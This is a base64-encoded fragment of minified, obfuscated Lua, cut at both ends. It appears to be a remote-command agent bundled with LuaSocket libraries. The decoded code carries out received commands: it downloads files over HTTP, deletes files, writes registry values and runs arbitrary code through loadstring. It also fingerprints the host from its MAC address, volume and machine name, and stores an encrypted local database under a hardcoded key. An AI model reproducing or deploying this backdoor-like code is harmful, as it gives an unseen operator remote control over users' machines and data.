Cm89dHJ1ZTsKZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldhaXRpbmcgJXMgd2l0aCAlcyBy
ZW1haW5pbmciLGEsKGEtaSkpKTsKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUGluZyJ0aGVuCmE9
YTpnc3ViKCIgIiwiKyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iUE9TVCJ0aGVuCmxvY2FsIGU9
c3RyaW5nLmZpbmQoYSwiPyIpOwppZiBlIHRoZW4KbG9jYWwgbz1hOnN1YihlKzEsI2EpOwphPWE6
c3ViKDEsZS0xKTsKdC5kZWJ1ZygiUGluZ2luZyAiLi5hLi4iIHdpdGg6ICIuLm8pOwpuPXMucmVx
dWVzdChhLG8pOwplbmQKZWxzZQp0LmRlYnVnKCJQaW5naW5nOiAiLi5hKTsKbj1zLnJlcXVlc3Qo
YSk7CmVuZApuPXRyaW0odG9zdHJpbmcobikpOwp0LmRlYnVnKCJQaW5nIHJlc3VsdDogIi4ubik7
Cm89dHJ1ZTsKZVsicmVzdWx0Il09bjsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGlt
ZSgpOwplbHNlaWYgZVsidHh0ZG8iXT09IlNlcnZpY2UidGhlbgpsb2NhbCB0PXQucXVlcnlzZXJ2
aWNlKGEsNCk7CmVbInJlc3VsdCJdPSIiOwppZiB0IHRoZW4KZVsicmVzdWx0Il09dDsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsidHh0
ZG8iXT09IkRlYnVnInRoZW4KdC5kZWJ1ZyhhKTsKbz10cnVlOwplWyJzdGF0dXMiXT0iMCI7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRFhEaWFnInRoZW4KbG9jYWwg
YT10LmR4ZGlhZyhhLGVbInR4dFdoYXRUaGVuIl0pOwplWyJyZXN1bHQiXT0iIjsKaWYgYX49bmls
IHRoZW4KaWYgYVtzdHJpbmcubG93ZXIoZVsidHh0V2hhdEVsc2UiXSldfj1uaWwgdGhlbgplWyJy
ZXN1bHQiXT1hW3N0cmluZy5sb3dlcihlWyJ0eHRXaGF0RWxzZSJdKV07CnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiRFhEaWFnIFJlc3VsdDogJXMiLGVbInJlc3VsdCJdKSk7CmVuZAplbmQKbz10cnVl
OwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJd
PT0iRG93bmxvYWQidGhlbgpsb2NhbCBpPXQuY3VzdG9tcyhlWyJ0eHRXaGF0VGhlbiJdKTsKaWYg
aX49IiJ0aGVuCmxvY2FsIG49dC5maWxlcGFydHMoaSk7CmlmIG5+PW5pbCB0aGVuCkNyZWF0ZURp
cmVjdG9yeShuKTsKZW5kCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgJXMgdG8gJXMi
LGEsaSkpOwplWyJzdGF0dXMiXT0iMSI7CmlmIHQuZ2V0YnlodHRwKGEsaSl0aGVuCnQuZGVidWco
c3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgc3VjY2Vzc2Z1bCIsYSkpOwpvPXRydWU7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJyZXN1bHQiXT0iMCI7
CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdW5zdWNjZXNzZnVsIixhKSk7
CmVuZAplbHNlCmxvY2FsIGksbj10LmdldGJ5aHR0cChhKTsKaWYgaSB0aGVuCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdG8gbWVtb3J5IHN1Y2Nlc3NmdWwiLGEpKTsKbz10
cnVlOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uOwplWyJzdGF0dXMiXT0iMSI7
CmVuZAplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJEaXJlY3RvcnkidGhlbgppZiBDcmVhdGVEaXJl
Y3RvcnkoYSl+PTAgdGhlbgplWyJyZXN1bHQiXT0iMCI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgi
RGlyZWN0b3J5ICVzIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5IixhKSk7CmVsc2UKZVsicmVzdWx0Il09
R2V0TGFzdEVycm9yKCk7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRGlyZWN0b3J5ICVzIGNyZWF0
ZWQgdW5zdWNjZXNzZnVsbHkgKCVzKSIsYSxHZXRMYXN0RXJyb3IoKSkpOwplbmQKbz10cnVlOwpl
WyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0i
RGVsZXRlIEZpbGUidGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIkF0dGVtcHRpbmcgdG8gZGVs
ZXRlICVzIixhKSk7CmlmIERlbGV0ZUZpbGUoYSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKdC5kZWJ1
ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwplbHNlCmVbInJl
c3VsdCJdPSIwIjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHVuc3VjY2Vzc2Z1
bGx5IixhKSk7CmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUo
KTsKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdpc3RyeSJ0aGVuCmxvY2FsIGk9dC5zcGxpdChhLCIs
Iik7CmVbInJlc3VsdCJdPSIwIjsKaWYgdzMyW2lbMV1dfj1uaWwgdGhlbgppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iV3JpdGUgVmFsdWUidGhlbgpsb2NhbCBvPShpWzRdPT0iZCIpYW5kIHRvbnVtYmVy
KGlbNV0pb3IgaVs1XTsKaWYgUmVnU2V0VmFsdWVFeCh3MzJbaVsxXV0saVsyXSxpWzNdLG8pdGhl
bgplWyJyZXN1bHQiXT0iMSI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMg
PSAlcyBTdWNjZXNzIixlWyJ0eHRXaGF0VGhlbiJdLGEsbykpOwplbHNlCnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMgPSAlcyBGYWlsdXJlIixlWyJ0eHRXaGF0VGhlbiJdLGEs
bykpOwplbmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJRdWVyeSBWYWx1ZSJ0aGVuCmxvY2Fs
IG89UmVnUXVlcnlWYWx1ZUV4KHczMltpWzFdXSxpWzJdLGlbM10pOwppZiBvIHRoZW4KZVsicmVz
dWx0Il09bzsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZWdpc3RyeSBWYWx1ZTogJXMiLG8pKTsK
ZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIlJlZ2lzdHJ5IEVycm9yICVzICVzICVzIixHZXRM
YXN0RXJyb3IoKSxlWyJ0eHRXaGF0VGhlbiJdLGEpKTsKZW5kCmVuZAplbHNlCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiUmVnaXN0cnkgRXJyb3IgJXMgJXMiLGVbInR4dFdoYXRUaGVuIl0sYSkpOwpl
bmQKbz10cnVlOwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVuZAplbmQK
aWYgZVsidHh0Y21kIl09PSJXaWxmb3JkInRoZW4KbG9jYWwgYT10LmN1c3RvbXMoZVsidHh0V2hh
dCJdKTsKaWYgZVsidHh0ZG8iXT09IlJ1biJ0aGVuCmxvY2FsIHQ9bG9hZHN0cmluZyhhKTsKaWYg
dHlwZSh0KT09ImZ1bmN0aW9uInRoZW4KZVsicmVzdWx0Il09dCgpOwplbmQKbz10cnVlOwplWyJz
dGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iSW5j
bHVkZSJ0aGVuCmVbInJlc3VsdCJdPWE7Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRl
Il09b3MudGltZSgpOwplbHNlCmVbInN0YXR1cyJdPSIwIjsKZW5kCmVuZApyZXR1cm4gZSxvOwpl
bmQKZnVuY3Rpb24gdC51c2VyZ3VpZCgpCmxvY2FsIGU9R2V0Vm9sdW1lSW5mb3JtYXRpb24oKTsK
bG9jYWwgYT1HZXRNQUNBZGRyZXNzKCk7CmxvY2FsIHQ9R2V0VGhlTWFjaGluZU5hbWUoKTsKbG9j
YWwgZT1HZXRNRDVTdHJpbmcoc3RyaW5nLmZvcm1hdCgiJXM6JXM6JXMiLHRvc3RyaW5nKGUpLHRv
c3RyaW5nKGEpLHRvc3RyaW5nKHQpKSk7CmlmIGU9PW5pbCB0aGVuCmU9R2V0TUQ1U3RyaW5nKEdl
dEN1cnJlbnRVc2VyU2lkKCkpOwplbmQKcmV0dXJuIHN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVz
LSVzIixlOnN1YigxLDgpLGU6c3ViKDksMTIpLGU6c3ViKDEzLDE2KSxlOnN1YigxNywyMCksZTpz
dWIoMjEpKTsKZW5kCmZ1bmN0aW9uIHQuc2F2ZWRiKGUpCmU9KEVuY3J5cHQpYW5kIEVuY3J5cHQo
ZSwibGFxdWFuZGEgd2F0a2lucyIpb3IgdC5lbmNyeXB0KGUsImxhcXVhbmRhIHdhdGtpbnMiKTsK
aWYgU2V0Q29tbWFuZHN+PW5pbCB0aGVuClNldENvbW1hbmRzKGUpOwplbHNlCmxvY2FsIGE9KHcz
MiBhbmQgdzMyWyJDUkVBVEVfQUxXQVlTIl0pYW5kIHczMlsiQ1JFQVRFX0FMV0FZUyJdb3IgMDsK
aWYgRmluZEZpcnN0RmlsZSB0aGVuCmR3UmVzdWx0LHRGaWxlSW5mbz1GaW5kRmlyc3RGaWxlKHN0
cmluZy5mb3JtYXQoIiVzbHF3ZGIuZGF0Iix0LnRlbXBwYXRoKCkpKTsKaWYgZHdSZXN1bHR+PTAg
dGhlbgphPXczMlsiVFJVTkNBVEVfRVhJU1RJTkciXTsKRmluZENsb3NlKGR3UmVzdWx0KTsKZW5k
CmVuZApsb2NhbCBlPShlfj1uaWwpYW5kIHQud3JpdGVmaWxlKHN0cmluZy5mb3JtYXQoIiVzbHF3
ZGIuZGF0Iix0LnRlbXBwYXRoKCkpLGUsYSlvciAwOwppZiBlPjAgdGhlbgp0LmRlYnVnKCJMb2Nh
bCBEQiBXcml0dGVuOiAiLi5lKTsKZWxzZQpsb2NhbCBlPShHZXRMYXN0RXJyb3IpYW5kIEdldExh
c3RFcnJvcigpb3IiMCI7CnQuZGVidWcoIkxvY2FsIERCIE5vdCBXcml0dGVuOiAiLi5lKTsKZW5k
CmVuZAplbmQKZnVuY3Rpb24gdC5keGRpYWcoZSxuKQppZiBub3QgZSBvciBub3QgbiB0aGVuCnJl
dHVybiBuaWw7CmVuZApsb2NhbCBlPXQucmVhZGZpbGUoZSk7CmxvY2FsIGk9e307CmlmIGUgdGhl
bgpsaW5lcz10LnNwbGl0KGUsIlxyXG4iKTsKbG9jYWwgbz10cnVlOwpsb2NhbCB0PWZhbHNlOwps
b2NhbCBhPTA7CmZvciBzLGUgaW4gaXBhaXJzKGxpbmVzKWRvCmlmIG89PXRydWUgdGhlbgp0PXN0
cmluZy5maW5kKGUsbik7CmVsc2UKdD1mYWxzZTsKZW5kCmlmIHQgdGhlbgpvPWZhbHNlOwplbmQK
aWYgbz09ZmFsc2UgdGhlbgppZiBzdHJpbmcuZmluZChlLCIlLSUtJS0iKXRoZW4KYT1hKzE7Cmlm
IGE+MSB0aGVuCmJyZWFrOwplbmQKZWxzZQppZiBzdHJpbmcubGVuKGUpPjAgdGhlbgpsb2NhbCBv
PTA7CmxvY2FsIHQ9IiI7CmZvciBhPTEsI2UgZG8KaWYgZTpzdWIoYSxhKT09IjoidGhlbgpvPW8r
MTsKaWYgbz09MSB0aGVuCnQ9dC4uIjoiOwplbmQKZWxzZQp0PXQuLmU6c3ViKGEsYSk7CmVuZApl
bmQKZT10Owpmb3IgZSx0IGluIHN0cmluZy5nbWF0Y2goZSwiKC4rKTogKC4rKSIpZG8KaVtzdHJp
bmcubG93ZXIodHJpbShlKSldPXQ7CmVuZAplbmQKZW5kCmVuZAplbmQKZW5kCnJldHVybiBpOwpl
bmQKZnVuY3Rpb24gdC5lbmNyeXB0KG8saSkKbG9jYWwgdD0iIjsKaWYgaSBhbmQgbyB0aGVuCmxv
Y2FsIGE9bWF0aC5mbG9vcgpsb2NhbCBlPTA7CmZvciBuPTEsI28gZG8KZT0oZT4jaS0xKWFuZCAx
IG9yKGUrMSk7CmxvY2FsIG89c3RyaW5nLmJ5dGUobyxuKTsKbG9jYWwgZT1zdHJpbmcuYnl0ZShp
LGUpOwpsb2NhbCBpPTA7CmZvciBuPTAsMzEgZG8KbG9jYWwgdD1vLzIrZS8yCmlmIHR+PWEodCl0
aGVuCmk9aSsyXm4KZW5kCm89YShvLzIpCmU9YShlLzIpCmVuZAp0PXQuLnN0cmluZy5jaGFyKGkp
OwplbmQKZW5kCnJldHVybiB0OwplbmQKZnVuY3Rpb24gdC50cmltKGUpCnJldHVybiBlOm1hdGNo
J14lcyooLiolUyknb3InJwplbmQKZnVuY3Rpb24gdC5zbGVlcChlKQppZiB0eXBlKGUpPT0ibnVt
YmVyInRoZW4KZT0oZS8xZTMpOwplbmQKbG9jYWwgdD1vcy5jbG9jazsKbG9jYWwgYT10KCk7Cndo
aWxlIHQoKS1hPD1lIGRvCmVuZAplbmQKZnVuY3Rpb24gdC5uZXcoZSkKcmV0dXJuIHNldG1ldGF0
YWJsZSh7YXJncz1lIG9yIG5pbH0sZCk7CmVuZApyZXR1cm4gdDtlbmQpCnBhY2thZ2UucHJlbG9h
ZFsnc29ja2V0J109KGZ1bmN0aW9uKC4uLikKbG9jYWwgZT1fRwpsb2NhbCBoPXJlcXVpcmUoInN0
cmluZyIpCmxvY2FsIHM9cmVxdWlyZSgibWF0aCIpCmxvY2FsIGE9cmVxdWlyZSgic29ja2V0LmNv
cmUiKQptb2R1bGUoInNvY2tldCIpCmZ1bmN0aW9uIGNvbm5lY3QoaSxuLHQsbykKbG9jYWwgZSxh
PWEudGNwKCkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLGEgZW5kCmlmIHQgdGhlbgpsb2NhbCBl
LHQ9ZTpiaW5kKHQsbywtMSkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLHQgZW5kCmVuZApsb2Nh
bCB0LGE9ZTpjb25uZWN0KGksbikKaWYgbm90IHQgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnJldHVy
biBlCmVuZApmdW5jdGlvbiBiaW5kKGksbixvKQpsb2NhbCBlLHQ9YS50Y3AoKQppZiBub3QgZSB0
aGVuIHJldHVybiBuaWwsdCBlbmQKZTpzZXRvcHRpb24oInJldXNlYWRkciIsdHJ1ZSkKbG9jYWwg
YSx0PWU6YmluZChpLG4pCmlmIG5vdCBhIHRoZW4gcmV0dXJuIG5pbCx0IGVuZAphLHQ9ZTpsaXN0
ZW4obykKaWYgbm90IGEgdGhlbiByZXR1cm4gbmlsLHQgZW5kCnJldHVybiBlCmVuZAp0cnk9bmV3
dHJ5KCkKZnVuY3Rpb24gY2hvb3NlKG8pCnJldHVybiBmdW5jdGlvbih0LGEsaSkKaWYgZS50eXBl
KHQpfj0ic3RyaW5nInRoZW4KdCxhLGk9ImRlZmF1bHQiLHQsYQplbmQKbG9jYWwgbz1vW3Qgb3Ii
bmlsIl0KaWYgbm90IG8gdGhlbiBlLmVycm9yKCJ1bmtub3duIGtleSAoIi4uZS50b3N0cmluZyh0
KS4uIikiLDMpCmVsc2UgcmV0dXJuIG8oYSxpKWVuZAplbmQKZW5kCnNvdXJjZXQ9e30Kc2lua3Q9
e30KQkxPQ0tTSVpFPTIwNDgKc2lua3RbImNsb3NlLXdoZW4tZG9uZSJdPWZ1bmN0aW9uKHQpCnJl
dHVybiBlLnNldG1ldGF0YWJsZSh7CmdldGZkPWZ1bmN0aW9uKClyZXR1cm4gdDpnZXRmZCgpZW5k
LApkaXJ0eT1mdW5jdGlvbigpcmV0dXJuIHQ6ZGlydHkoKWVuZAp9LHsKX19jYWxsPWZ1bmN0aW9u
KGEsZSxhKQppZiBub3QgZSB0aGVuCnQ6Y2xvc2UoKQpyZXR1cm4gMQplbHNlIHJldHVybiB0OnNl
bmQoZSllbmQKZW5kCn0pCmVuZApzaW5rdFsia2VlcC1vcGVuIl09ZnVuY3Rpb24odCkKcmV0dXJu
IGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQsCmRp
cnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oYSxl
LGEpCmlmIGUgdGhlbiByZXR1cm4gdDpzZW5kKGUpCmVsc2UgcmV0dXJuIDEgZW5kCmVuZAp9KQpl
bmQKc2lua3RbImRlZmF1bHQiXT1zaW5rdFsia2VlcC1vcGVuIl0Kc2luaz1jaG9vc2Uoc2lua3Qp
CnNvdXJjZXRbImJ5LWxlbmd0aCJdPWZ1bmN0aW9uKG8sdCkKcmV0dXJuIGUuc2V0bWV0YXRhYmxl
KHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBvOmdldGZkKCllbmQsCmRpcnR5PWZ1bmN0aW9uKCly
ZXR1cm4gbzpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oKQppZiB0PD0wIHRoZW4gcmV0
dXJuIG5pbCBlbmQKbG9jYWwgZT1zLm1pbihhLkJMT0NLU0laRSx0KQpsb2NhbCBlLGE9bzpyZWNl
aXZlKGUpCmlmIGEgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnQ9dC1oLmxlbihlKQpyZXR1cm4gZQpl
bmQKfSkKZW5kCnNvdXJjZXRbInVudGlsLWNsb3NlZCJdPWZ1bmN0aW9uKHQpCmxvY2FsIG8KcmV0
dXJuIGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQs
CmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24o
KQppZiBvIHRoZW4gcmV0dXJuIG5pbCBlbmQKbG9jYWwgaSxlLGE9dDpyZWNlaXZlKGEuQkxPQ0tT
SVpFKQppZiBub3QgZSB0aGVuIHJldHVybiBpCmVsc2VpZiBlPT0iY2xvc2VkInRoZW4KdDpjbG9z
ZSgpCm89MQpyZXR1cm4gYQplbHNlIHJldHVybiBuaWwsZSBlbmQKZW5kCn0pCmVuZApzb3VyY2V0
WyJkZWZhdWx0Il09c291cmNldFsidW50aWwtY2xvc2VkIl0Kc291cmNlPWNob29zZShzb3VyY2V0
KQplbmQpCnBhY2thZ2UucHJlbG9hZFsnc29ja2V0LnVybCddPShmdW5jdGlvbiguLi4pCmxvY2Fs
IGU9cmVxdWlyZSgic3RyaW5nIikKbG9jYWwgbz1fRwpsb2NhbCBpPXJlcXVpcmUoInRhYmxlIikK
bW9kdWxlKCJzb2NrZXQudXJsIikKX1ZFUlNJT049IlVSTCAxLjAuMSIKZnVuY3Rpb24gZXNjYXBl
KHQpCnJldHVybiBlLmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQpyZXR1cm4g
ZS5mb3JtYXQoIiUlJTAyeCIsZS5ieXRlKHQpKQplbmQpCmVuZApsb2NhbCBmdW5jdGlvbiBuKGUp
CmxvY2FsIHQ9e30KZm9yIGEsbyBpbiBvLmlwYWlycyhlKWRvCnRbZVthXV09MQplbmQKcmV0dXJu
IHQKZW5kCmxvY2FsIGE9bnsKIi0iLCJfIiwiLiIsIiEiLCJ+IiwiKiIsIiciLCIoIiwKIikiLCI6
IiwiQCIsIiYiLCI9IiwiKyIsIiQiLCIsIiwKfQpsb2NhbCBmdW5jdGlvbiBuKHQpCnJldHVybiBl
LmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQppZiBhW3RddGhlbiByZXR1cm4g
dAplbHNlIHJldHVybiBlLmZvcm1hdCgiJSUlMDJ4IixlLmJ5dGUodCkpZW5kCmVuZCkKZW5kCmZ1
bmN0aW9uIHVuZXNjYXBlKHQpCnJldHVybiBlLmdzdWIodCwiJSUoJXgleCkiLGZ1bmN0aW9uKHQp
CnJldHVybiBlLmNoYXIoby50b251bWJlcih0LDE2KSkKZW5kKQplbmQKbG9jYWwgZnVuY3Rpb24g
cyh0LGEpCmlmIGUuc3ViKGEsMSwxKT09Ii8idGhlbiByZXR1cm4gYSBlbmQKbG9jYWwgdD1lLmdz
dWIodCwiW14vXSokIiwiIikKdD10Li5hCnQ9ZS5nc3ViKHQsIihbXi9dKiUuLykiLGZ1bmN0aW9u
KGUpCmlmIGV+PSIuLyJ0aGVuIHJldHVybiBlIGVsc2UgcmV0dXJuIiJlbmQKZW5kKQp0PWUuZ3N1
Yih0LCIvJS4kIiwiLyIpCmxvY2FsIGEKd2hpbGUgYX49dCBkbwphPXQKdD1lLmdzdWIoYSwiKFte
L10qLyUuJS4vKSIsZnVuY3Rpb24oZSkKaWYgZX49Ii4uLy4uLyJ0aGVuIHJldHVybiIiZWxzZSBy
ZXR1cm4gZSBlbmQKZW5kKQplbmQKdD1lLmdzdWIoYSwiKFteL10qLyUuJS4pJCIsZnVuY3Rpb24o
ZSkKaWYgZX49Ii4uLy4uInRoZW4gcmV0dXJuIiJlbHNlIHJldHVybiBlIGVuZAplbmQpCnJldHVy
biB0CmVuZApmdW5jdGlvbiBwYXJzZShhLGkpCmxvY2FsIHQ9e30KZm9yIGUsYSBpbiBvLnBhaXJz
KGkgb3IgdClkbyB0W2VdPWEgZW5kCmlmIG5vdCBhIG9yIGE9PSIidGhlbiByZXR1cm4gbmlsLCJp
bnZhbGlkIHVybCJlbmQKYT1lLmdzdWIoYSwiIyguKikkIixmdW5jdGlvbihlKQp0LmZyYWdtZW50
PWUKcmV0dXJuIiIKZW5kKQphPWUuZ3N1YihhLCJeKFsld11bJXclKyUtJS5dKiklOiIsCmZ1bmN0
aW9uKGUpdC5zY2hlbWU9ZTtyZXR1cm4iImVuZCkKYT1lLmdzdWIoYSwiXi8vKFteL10qKSIsZnVu
Y3Rpb24oZSkKdC5hdXRob3JpdHk9ZQpyZXR1cm4iIgplbmQpCmE9ZS5nc3ViKGEsIiU/KC4qKSIs
ZnVuY3Rpb24oZSkKdC5xdWVyeT1lCnJldHVybiIiCmVuZCkKYT1lLmdzdWIoYSwiJTsoLiopIixm
dW5jdGlvbihlKQp0LnBhcmFtcz1lCnJldHVybiIiCmVuZCkKaWYgYX49IiJ0aGVuIHQucGF0aD1h
IGVuZApsb2NhbCBhPXQuYXV0aG9yaXR5CmlmIG5vdCBhIHRoZW4gcmV0dXJuIHQgZW5kCmE9ZS5n
c3ViKGEsIl4oW15AXSopQCIsCmZ1bmN0aW9uKGUpdC51c2VyaW5mbz1lO3JldHVybiIiZW5kKQph
PWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucG9ydD1lO3JldHVybiIiZW5kKQpp
ZiBhfj0iInRoZW4gdC5ob3N0PWEgZW5kCmxvY2FsIGE9dC51c2VyaW5mbwppZiBub3QgYSB0aGVu
IHJldHVybiB0IGVuZAphPWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucGFzc3dv
cmQ9ZTtyZXR1cm4iImVuZCkKdC51c2VyPWEKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkKGUp
CmxvY2FsIHQ9cGFyc2VfcGF0aChlLnBhdGggb3IiIikKbG9jYWwgdD1idWlsZF9wYXRoKHQpCmlm
IGUucGFyYW1zIHRoZW4gdD10Li4iOyIuLmUucGFyYW1zIGVuZAppZiBlLnF1ZXJ5IHRoZW4gdD10
Li4iPyIuLmUucXVlcnkgZW5kCmxvY2FsIGE9ZS5hdXRob3JpdHkKaWYgZS5ob3N0IHRoZW4KYT1l
Lmhvc3QKaWYgZS5wb3J0IHRoZW4gYT1hLi4iOiIuLmUucG9ydCBlbmQKbG9jYWwgdD1lLnVzZXJp
bmZvCmlmIGUudXNlciB0aGVuCnQ9ZS51c2VyCmlmIGUucGFzc3dvcmQgdGhlbgp0PXQuLiI6Ii4u
ZS5wYXNzd29yZAplbmQKZW5kCmlmIHQgdGhlbiBhPXQuLiJAIi4uYSBlbmQKZW5kCmlmIGEgdGhl
biB0PSIvLyIuLmEuLnQgZW5kCmlmIGUuc2NoZW1lIHRoZW4gdD1lLnNjaGVtZS4uIjoiLi50IGVu
ZAppZiBlLmZyYWdtZW50IHRoZW4gdD10Li4iIyIuLmUuZnJhZ21lbnQgZW5kCnJldHVybiB0CmVu
ZApmdW5jdGlvbiBhYnNvbHV0ZSh0LGEpCmlmIG8udHlwZSh0KT09InRhYmxlInRoZW4KYmFzZV9w
YXJzZWQ9dAp0PWJ1aWxkKGJhc2VfcGFyc2VkKQplbHNlCmJhc2VfcGFyc2VkPXBhcnNlKHQpCmVu
ZApsb2NhbCBlPXBhcnNlKGEpCmlmIG5vdCBiYXNlX3BhcnNlZCB0aGVuIHJldHVybiBhCmVsc2Vp
ZiBub3QgZSB0aGVuIHJldHVybiB0CmVsc2VpZiBlLnNjaGVtZSB0aGVuIHJldHVybiBhCmVsc2UK
ZS5zY2hlbWU9YmFzZV9wYXJzZWQuc2NoZW1lCmlmIG5vdCBlLmF1dGhvcml0eSB0aGVuCmUuYXV0
aG9yaXR5PWJhc2VfcGFyc2VkLmF1dGhvcml0eQppZiBub3QgZS5wYXRoIHRoZW4KZS5wYXRoPWJh
c2VfcGFyc2VkLnBhdGgKaWYgbm90IGUucGFyYW1zIHRoZW4KZS5wYXJhbXM9YmFzZV9wYXJzZWQu
cGFyYW1zCmlmIG5vdCBlLnF1ZXJ5IHRoZW4KZS5xdWVyeT1iYXNlX3BhcnNlZC5xdWVyeQplbmQK
ZW5kCmVsc2UKZS5wYXRoPXMoYmFzZV9wYXJzZWQucGF0aCBvciIiLAplLnBhdGgpCmVuZAplbmQK
cmV0dXJuIGJ1aWxkKGUpCmVuZAplbmQKZnVuY3Rpb24gcGFyc2VfcGF0aChhKQpsb2NhbCB0PXt9
CmE9YSBvciIiCmUuZ3N1YihhLCIoW14vXSspIixmdW5jdGlvbihlKWkuaW5zZXJ0KHQsZSllbmQp
CmZvciBlPTEsaS5nZXRuKHQpZG8KdFtlXT11bmVzY2FwZSh0W2VdKQplbmQKaWYgZS5zdWIoYSwx
LDEpPT0iLyJ0aGVuIHQuaXNfYWJzb2x1dGU9MSBlbmQKaWYgZS5zdWIoYSwtMSwtMSk9PSIvInRo
ZW4gdC5pc19kaXJlY3Rvcnk9MSBlbmQKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkX3BhdGgo
dCxvKQpsb2NhbCBlPSIiCmxvY2FsIGE9aS5nZXRuKHQpCmlmIG8gdGhlbgpmb3IgYT0xLGEtMSBk
bwplPWUuLnRbYV0KZT1lLi4iLyIKZW5kCmlmIGE+MCB0aGVuCmU9ZS4udFthXQppZiB0LmlzX2Rp
cmVjdG9yeSB0aGVuIGU9ZS4uIi8iZW5kCmVuZAplbHNlCmZvciBhPTEsYS0xIGRvCmU9ZS4ubih0
W2FdKQplPWUuLiIvIgplbmQKaWYgYT4wIHRoZW4KZT1lLi5uKHRbYV0pCmlmIHQuaXNfZGlyZWN0
b3J5IHRoZW4gZT1lLi4iLyJlbmQKZW5kCmVuZAppZiB0LmlzX2Fic29sdXRlIHRoZW4gZT0iLyIu
LmUgZW5kCnJldHVybiBlCmVuZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbHRuMTInXT0oZnVuY3Rp
b24oLi4uKQpsb2NhbCBzPXJlcXVpcmUoInN0cmluZyIpCmxvY2FsIG89cmVxdWlyZSgidGFibGUi
KQpsb2NhbCBlPV9HCm1vZHVsZSgibHRuMTIiKQpmaWx0ZXI9e30Kc291cmNlPXt9CnNpbms9e30K
cHVtcD17fQpCTE9DS1NJWkU9MjA0OApfVkVSU0lPTj0iTFROMTIgMS4wLjEiCmZ1bmN0aW9uIGZp
bHRlci5jeWNsZShhLHQsbykKZS5hc3NlcnQoYSkKcmV0dXJuIGZ1bmN0aW9uKGkpCmxvY2FsIGUK
ZSx0PWEodCxpLG8pCnJldHVybiBlCmVuZAplbmQKZnVuY3Rpb24gZmlsdGVyLmNoYWluKC4uLikK
bG9jYWwgbj1vLmdldG4oYXJnKQpsb2NhbCBvLGE9MSwxCmxvY2FsIGk9IiIKcmV0dXJuIGZ1bmN0
aW9uKHQpCmk9dCBhbmQgaQp3aGlsZSB0cnVlIGRvCmlmIGE9PW8gdGhlbgp0PWFyZ1thXSh0KQpp
ZiB0PT0iIm9yIG89PW4gdGhlbiByZXR1cm4gdAplbHNlaWYgdCB0aGVuIGE9YSsxCmVsc2UKbz1v
